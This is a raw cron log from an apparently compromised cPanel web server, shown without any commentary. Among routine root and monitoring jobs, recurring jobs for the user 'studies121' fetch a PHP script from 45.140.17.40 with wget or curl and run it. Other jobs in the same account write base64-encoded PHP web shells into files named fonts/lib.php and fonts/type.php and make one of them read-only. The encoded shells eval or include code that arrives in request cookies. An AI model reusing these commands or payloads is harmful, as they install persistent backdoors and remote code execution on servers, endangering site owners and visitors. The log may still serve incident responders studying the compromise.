Sep 12 00:16:01 ip-184-168-122-23 CROND[26576]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 00:16:01 ip-184-168-122-23 CROND[26579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:16:01 ip-184-168-122-23 CROND[26578]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 00:17:01 ip-184-168-122-23 CROND[26675]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:17:01 ip-184-168-122-23 CROND[26678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:17:01 ip-184-168-122-23 CROND[26679]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:17:01 ip-184-168-122-23 CROND[26677]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:18:01 ip-184-168-122-23 CROND[26777]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:18:01 ip-184-168-122-23 CROND[26779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:18:01 ip-184-168-122-23 CROND[26780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:18:01 ip-184-168-122-23 CROND[26778]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 00:18:01 ip-184-168-122-23 CROND[26781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:19:01 ip-184-168-122-23 CROND[26875]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:19:01 ip-184-168-122-23 CROND[26874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:19:01 ip-184-168-122-23 CROND[26873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:19:01 ip-184-168-122-23 CROND[26876]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:20:02 ip-184-168-122-23 CROND[26973]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 00:20:02 ip-184-168-122-23 CROND[26975]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:20:02 ip-184-168-122-23 CROND[26976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:20:02 ip-184-168-122-23 CROND[26978]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 00:20:02 ip-184-168-122-23 CROND[26979]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 00:20:02 ip-184-168-122-23 CROND[26977]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 00:20:02 ip-184-168-122-23 CROND[26983]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:20:02 ip-184-168-122-23 CROND[26982]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:20:02 ip-184-168-122-23 CROND[26981]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 00:21:01 ip-184-168-122-23 CROND[27168]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:21:01 ip-184-168-122-23 CROND[27173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:21:01 ip-184-168-122-23 CROND[27171]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:21:01 ip-184-168-122-23 CROND[27170]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:22:01 ip-184-168-122-23 CROND[27253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:22:01 ip-184-168-122-23 CROND[27255]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 00:22:01 ip-184-168-122-23 CROND[27254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:22:01 ip-184-168-122-23 CROND[27265]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:22:01 ip-184-168-122-23 CROND[27269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:23:01 ip-184-168-122-23 CROND[27345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:23:01 ip-184-168-122-23 CROND[27346]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:23:01 ip-184-168-122-23 CROND[27348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:23:01 ip-184-168-122-23 CROND[27347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:24:01 ip-184-168-122-23 CROND[27454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:24:01 ip-184-168-122-23 CROND[27453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:24:01 ip-184-168-122-23 CROND[27452]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 00:24:01 ip-184-168-122-23 CROND[27455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:24:01 ip-184-168-122-23 CROND[27456]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:25:01 ip-184-168-122-23 CROND[27552]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 12 00:25:01 ip-184-168-122-23 CROND[27551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:25:01 ip-184-168-122-23 CROND[27556]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 00:25:01 ip-184-168-122-23 CROND[27555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:25:01 ip-184-168-122-23 CROND[27558]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:25:01 ip-184-168-122-23 CROND[27560]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 00:25:01 ip-184-168-122-23 CROND[27561]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:26:01 ip-184-168-122-23 CROND[27753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:26:01 ip-184-168-122-23 CROND[27755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:26:01 ip-184-168-122-23 CROND[27756]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:26:01 ip-184-168-122-23 CROND[27757]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 00:26:01 ip-184-168-122-23 CROND[27758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:27:01 ip-184-168-122-23 CROND[27845]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:27:01 ip-184-168-122-23 CROND[27846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:27:01 ip-184-168-122-23 CROND[27849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:27:01 ip-184-168-122-23 CROND[27848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:28:01 ip-184-168-122-23 CROND[27936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:28:01 ip-184-168-122-23 CROND[27940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:28:01 ip-184-168-122-23 CROND[27941]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 00:28:02 ip-184-168-122-23 CROND[27943]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:28:02 ip-184-168-122-23 CROND[27946]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:29:01 ip-184-168-122-23 CROND[28047]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
